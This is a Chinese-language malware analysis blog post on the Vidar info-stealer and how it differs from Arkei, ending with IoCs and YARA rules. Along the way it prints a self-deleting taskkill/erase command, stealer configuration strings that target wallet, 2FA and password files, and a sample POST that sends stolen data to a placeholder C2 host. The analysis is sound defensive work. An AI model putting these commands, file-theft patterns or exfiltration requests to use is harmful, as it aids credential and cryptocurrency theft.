接着上文,继续对Vidar窃密木马进行介绍。

 

硬件

通过注册表项的值来获取硬件名称:

HKEY_LOCAL_MACHINE  HARDWARE  DESCRIPTION  SYSTEM  CentralProcessor  ProcessorNameString

 

网络

网络部分的实现很简单,通过将从ip-api.com/line/获取的数据进行转换,然后放入相应的日志中即可。

 

进程

当Vidar运行后,将结合多个函数,来对正在运行的进程进行快照。

当然,实现的步骤不难理解:

然后检查该进程是父进程还是子进程,并获取PROCESSENTRY32 对象的以下2个值:

 

软件

通过注册表项的值来获取系统已安装的软件:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall

它将对系统软件的以下2个值进行检索:

 

结果

如果你想看最终执行结果,可以参考下面在沙箱中运行后生成的 information.txt(此处为Vidar 4.2版本)

Vidar Version: 4.2

Date: Thu Dec 13 14:39:05 2018
MachineID: 90059c37-1320-41a4-b58d-2b75a9850d2f
GUID: {e29ac6c0-7037-11de-816d-806e6f6e6963}

Path: C:UsersadminAppDataLocalTemptoto.exe 
Work Dir: C:ProgramDataLDGQ3MM434V3HGAR2ZUK

Windows: Windows 7 Professional [x86]
Computer Name: USER-PC
User Name: admin
Display Resolution: 1280x720
Display Language: en-US
Keyboard Languages: English (United States)
Local Time: 13/12/2018 14:39:5
TimeZone: UTC-0

[Hardware]
Processor: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
CPU Count: 4
RAM: 3583 MB
VideoCard: Standard VGA Graphics Adapter

[Network]
IP: 185.230.125.140
Country: Switzerland (CH)
City: Zurich (Zurich)
ZIP: 8010
Coordinates: 47.3769,8.54169
ISP: M247 Ltd (M247 Ltd)

[Processes]
- System [4]
---------- smss.exe [264]
- csrss.exe [344]
< ... >

[Software]
Adobe Flash Player 26 ActiveX [26.0.0.131]
Adobe Flash Player 26 NPAPI [26.0.0.131]
Adobe Flash Player 26 PPAPI [26.0.0.131]
< ... >

 

Loader模块

这个模块在代码实现上比较简单,但完成功能绰绰有余。

当从C2下载完二进制文件时,将使用具有特定参数的CreateFileA函数:

完成后,只需要将内容写入文件(WriteFile),然后关闭相应句柄 (CloseHandle)即可。

到目前为止,文件已经被下载并保存在硬盘中,只需要用ShellExecuteA进行启动。所以不要犹豫,就在此时对API函数下断点来捕捉payload,不然错过最佳时机。

 

Killing 模块

当窃密软件完成所有任务和清理工作后,会进行自我清除。首先它会调用GetCurrentProcessId来查询自己的PID

然后进入“func_GetProcessIdName”,尝试用OpenProcess打开自己的进程句柄,如果失败,将继续检索。这里最重要的环节是调用GetModuleBaseNameA,它可以通过之前获取的PID来检索出其对应进程的进程名。

在.rdata中将一些字符串进行硬编码,以备将来调用。

当精心构造的请求完成后,Vidar 将使用ShellExecuteA调用shell命令行并执行指定的任务。这使它拥有清除payload和失陷主机交互痕迹的能力。

回顾一下执行的命令:

C:WindowsSystem32cmd.exe” /c taskkill /im vidar.exe /f & erase C:UsersPouetAppDataLocalTempvidar.exe & exit

对应解释说明:

Offset File + db ‘/c taskkill /im’ + [GetModuleBaseNameA] + db ‘ /f & erase’  + [GetModuleFileNameExA + GetModuleBaseNameA]+  + db ‘ & exit’

 

信息存档

生成文件夹

文件夹命名格式为:
COUNTRY + “_” + Machine GUID + “.zip”
例如:
NG_d6836847-acf3-4cee-945d-10c9982b53d1.zip

最终的POST请求

在生成POST请求的过程中,最终生成的POST请求将进行修改,添加额外的标识以便C2服务器进行识别处理。

不同的name字符串将保存在不同的数据库中,所以在HTTP请求中将出现不同的Content-Disposition。

此外,我在这里发现了一个它使用的小技巧,就是在POST请求的响应中包含loader的配置信息。

这与config及network information模块采用了相同的技术。

沙盒示例:

 

服务端

因为很容易就可以找到与这款窃密软件的相关信息,所以不需要费力去寻找在哪里才能买到它。为了吸引更多的用户,网上有许多教学视频,让我们通过视频教程来对它深入了解(所以截图均出自视频)。需要说明的是,以下界面为11月时的操作界面,现在可能发生了变化。

登录

Dashboard

主面板具有很好的用户友好性。用户可以快速浏览自己账户内的各项基本信息。

日志

对于日志部分,需要提一下的是系统允许用户为日志添加相应的注释。

密码

Builder

Builder界面也很有趣,可以在这里看到使用者的操作日志。此外, 在下载部分生成的恶意软件和Arkei一样,并不会打包。

因此用户者必须使用加密/打包软件来对payload进行处理。

设置

显而易见,这是最重要的界面,因为在这里可以生成payload。可以通过设置,启用(或不启用)某些功能来达到对目标机器进行针对性攻击。

因此,通过配置,Vidar可以同时执行多项功能。这意味着当payload感染受害者主机后,根据配置,窃取到的各项信息将保存在对应的文件夹中。获取到窃取的文件后,攻击者通过排序,可以很轻松的查看各项信息。

当编辑或创建新规则时,将弹出此界面来实现之前提到的功能。恶意软件将到所有可能存在的路径下去检索指定的文件。

经分析,我们发现在C2上,有许多配置项。以下是我们能找到的:

默认空配置:

1,1,1,1,1,1,1,1,0,1,250,none;

默认初始配置:

1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;

用户配置示例:

1,1,1,1,1,1,1,1,1,1,250,grabba;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;100;true;movies:music:mp3;
1,1,0,1,1,1,1,1,1,1,250,инфа;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,Первое;%DESKTOP%;*.txt:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,123435566;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;

同时执行多项配置:

1,1,1,1,1,1,0,1,1,1,250,
DESKTOP;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*2fa*.png:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;
DOCUMENTS;%DOCUMENTS%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;
DRIVE_REMOVABLE;%DRIVE_REMOVABLE%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;

如上文中所示,通过特定的格式,将其分为三个部分,三项配置分别为:

它们将各自存储在对应的文件夹中。

所有配置信息都可以在我的github仓库中找到。

通过对配置面板的介绍,可以看出窃密软件无论是在loader模块,还是投递手段等方面,都变的越来越类似。

正如一开始提到的,用户只能通过该界面对恶意软件进行配置,具体的管理由维护团队来负责。为了防止代理被过滤,控制域名将定期进行更换。(这一点在样本中也很容易看出来,因为不同的版本将对应不同的域名)

如官方声明所说,在用户界面,还存在2FA认证。

 

一些有趣的信息

在登录界面搜索信息时,将看到一些有趣的信息。

让我们看看背后隐藏着什么?

原来是一个彩蛋,来告诉大家Vidar(维达)是北欧神话中的复仇之神。

 

Vidar—山寨版Arkei?

如果关注相关request(请求)和代码,会发现Vidar几乎与Arkei相同。虽然在某些方面略有不同,但所有功能都是相同的。如果蓝队成员只是根据沙箱运行结果进行判断,就会被迷惑。因为目前的Yara规则会将触发条件的Vidar当做Arkei,这会导致错误的检测结果。因此对代码进行分析是非常有必要的,这样才能弄清楚它是如何运行的。

他们(Vidar&Arkei)的主要功能非常相似:

保存窃取到信息的方法也一样。所以很难通过这些方面对二者进行区分。

代码差异

一个简单的判断方法就是看有没有“Vidar.cpp”这个字符串。

Vidar的签名

Arkei的签名

通信差异

分析人员可能会误认为Vidar与Arkei构造的HTTP 请求是不同的,然而事实并非如此。

Vidar HTTP 请求

/ (i.e 162)    <- 配置信息
ip-api.com/line/    <- 获取网络配置信息
/msvcp140.dll       <- 获取DLL文件
/nss3.dll           <- 获取DLL文件
/softokn3.dll       <- 获取DLL文件
/vcruntime140.dll   <- 获取DLL文件
/                   <- 向C2上传受害者信息

一个小的区别是Arkei不会下载二进制文件,而Vidar则会下载执行一些窃密模块时所需的相关二进制文件。

Arkei HTTP请求

/index.php        <- 配置信息
ip-api.com/line/  <- 获取网络配置信息
/index.php        <- 向C2上传受害者信息

配置参数

如果你想弄清楚Arkei中各配置参数的含义,可以参考下表:

可以看到,POST发生了轻微的变化,Vidar添加了配置文件名、版本等新字段。

我们可以通过PCAP数据流来更清楚的看出request中的异同,可以看到除了除了版本信息和配置信息,其他部分都是相同的(不同之处用星号标记)。如果我们分析更老的版本,将发现除了请求的路径之外,没有其他区别

最后的POST请求—Vidar

POST / HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 66809
Host: some.lovely.vidar.c2.with.love
Connection: Keep-Alive
Cache-Control: no-cache

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="hwid"

90059c37-1320-41a4-b58d-2b75a9850d2f
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="os"

Windows 7 Professional
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="platform"

x86
**--1BEF0A57BE110FD467A**
**Content-Disposition: form-data; name="profile"**

**XXX <- Random Int**
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="user"

admin
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="cccount"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ccount"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="fcount"

0
**--1BEF0A57BE110FD467A**
**Content-Disposition: form-data; name="telegram"**

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ver"

**4.1**
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="logs"; filename="COUNTRY_.zip"
Content-Type: zip

功能差异

通过对不同功能的分析, 我发现在Vidar中一些功能并没有实现。比如Steam信息窃取和Skype信息窃取,在Arkei中是有这些功能的,而在Vidar中,并没有实现。但相反的,对于2FA 信息的窃取,只有Vidar能做到。(至少根据我获取到的样本是这样)

 

Arkei是否仍活跃?

在一个售卖此窃密软件的页面可以看到,该软件仍在被出售并保持更新。可以看到不久的将来将发布v10版本,所以让我们拭目以待,看看它有哪些变化。

 

破解版Vidar

此外,一些人在推特上发现了经破解的版本。在操作页面源码中,这款基于Vidar 2.3版本构建的软件被称之为Vidar 或 “Anti-Vidar”。

登录

它的登录界面和Android Lokibot一样(感谢@siri_urz)。在这种情况中,代码永远不会说谎,它会帮助我们识别真正的C2/恶意软件。

配置代码

与现在的操作面板及样本相比,破解版的配置要简单的很多。默认配置硬编码在PHP文件中,当value为11时就可以获取配置信息。

 

IoCs

SHA256哈希

3A20466CC8C07638B8882CCC9B14C08F605F700F03D388CF85B2E76C51D64D65 0E982A02D754588D4EE99F30084B886B665FF04A1460D45C4FD410B04B10A8AF 2679FA8E9FD0C1F6F26527D53759BB596FDA43A741B4DFCC99A8C0907836A835 9EC586B07961E0C93C830DD1C47598FE21277432F11809A4B73DF7370CDD2E29 42C6950CA57D8805C217E3334158DAB4CC71A50C94D77F608B1C442BFD2B01CA D71F81EDF8AC04639D3B7C80AA178DF95C2CBFE73F81E931448A475FB771267A DAD5FCEAB002791DD6FD575782C173F1A39E0E7CE36E6DE1BAEFA95D0A8FB889 66162E69CA30A75E0DD1A6FBB9028FCFBE67B4ADE8E844E7C9FF2DCB46D993D8 EFF272B93FAA1C8C403EA579574F8675AB127C63ED21DB3900F8AB4FE4EC6DA9 EDBAC320C42DE77C184D30A69E119D27AE3CA7D368F802D2F8F1DA3B8D01D6DD B1D5B79D13F95A516ABBCC486841C8659984E5135F1D9C74343DCCD4390C3475 543AEE5A5435C77A8DE01433079F6381ADB4110F5EF4350E9A1A56B98FE40292 65B2BD17E452409397E2BD6F8E95FE8B708347D80074861698E4683BD12437A9 47E89F2C76D018D4952D421C5F1D603716B10E1712266DA32F63082F042F9C46 5D37323DA22C5414F6E03E06EFD184D7837D598C5E395E83C1BF248A7DE57155 5C0AF9C605AFD72BEF7CE8184BCCC9578EDB3A17498ACEBB74D02EB4AF0A6D2E 65287763245FDD8B56BB72298C78FEA62405BD35794A06AFBBE23CC5D38BE90A 20E92C2BF75C473B745617932F8DC0F8051BFC2F91BB938B2CC1CD808EBBC675 C752B68F3694B2FAAB117BCBA36C156514047B75151BBBFE62764C85CEF8ADE5 AE2EBF5B5813F92B0F7D6FCBADFA6E340646E4A776163AE86905E735A4B895A0 8F73E9C44C86D2BBADC545CED244F38472C5AACE0F75F57C8FC2398CE0A7F5A1

感谢@benkow_帮忙找到的一些样本

domains

malansio.com
nasalietco.com
binacoirel.com
newagenias.com
bokolavrstos.com
naicrose.com
benderio.com
cool3dmods.com

MITRE ATT&CK

Yara规则

Vidar

rule Vidar_Stealer : Vidar 
{
    meta:
        description = "Yara rule for detecting Vidar stealer"
        author = "Fumik0_"

    strings:
        $mz = { 4D 5A }

        $s1 = { 56 69 64 61 72 }
        $s2 = { 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 }
    condition:
        $mz at 0 and ( (all of ($s*)) )
}

rule Vidar_Early : Vidar 
{
    meta:
        description = "Yara rule for detecting Vidar stealer - Early versions"
        author = "Fumik0_"

    strings:
        $mz = { 4D 5A }
        $s1 =  { 56 69 64 61 72 }
        $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }
    condition:
         $mz at 0 and all of ($hx*) and not $s1
}

rule AntiVidar : Vidar 
{
    meta:
        description = "Yara rule for detecting Anti Vidar - Vidar Cracked Version"
        author = "Fumik0_"

    strings:
        $mz = { 4D 5A }
        $s1 = { 56 69 64 61 72 }
        $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }
        $hx2 = { 78 61 6B 66 6F 72 2E 6E  65 74 00 }
    condition:
         $mz at 0 and all of ($hx*) and not $s1
}

Arkei

rule Arkei : Arkei
rule Arkei : Arkei
{
     meta:
          Author = "Fumik0_"
          Description = "Rule to detect Arkei"
          Date = "2018/12/11"

      strings:
          $mz = { 4D 5A }

          $s1 = "Arkei" wide ascii
          $s2 = "/server/gate" wide ascii
          $s3 = "/server/grubConfig" wide ascii
          $s4 = "\files\" wide ascii
          $s5 = "SQLite" wide ascii

          $x1 = "/c taskkill /im" wide ascii
          $x2 = "screenshot.jpg" wide ascii
          $x3 = "files\passwords.txt" wide ascii
          $x4 = "http://ip-api.com/line/" wide ascii
          $x5 = "[Hardware]" wide ascii
          $x6 = "[Network]" wide ascii
          $x7 = "[Processes]" wide ascii

          $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }


     condition:
          $mz at 0 and
          ( (all of ($s*)) or ((all of ($x*)) and not $hx1))
}

 

GitHub

 

建议

和我以前的博文中提到的一样,需要注意:

 

结语

这次分析经历对我而言就像一场探秘游戏。虽然很难去判断Vidar是否为Arkei的升级版,还是基于Arkei代码进行了二次开发。但就目前而言,正因为它是一款新的恶意软件,非常活跃,不断推出新的版本,所以我们可以保持持续跟踪。另一方面,它又和Android Lokibot使用了一样的皮肤主题(破解版),但由于没有相关样本,导致缺失一些用来找到真正C2的关键信息。现在,让我们跟随着时间,看是否能得到更多线索来得到答案。

对于我个人,总结一下。我做了比预想中更多的事,2018是真正思考的一年,曾面对了许多问题和考验。我准备好迎接新一年的挑战了。今年经常因为学习而废寝忘食,现在是时候休息一下了。

感谢我们的小伙伴们,你们是最棒的!

源链接

Hacking more

...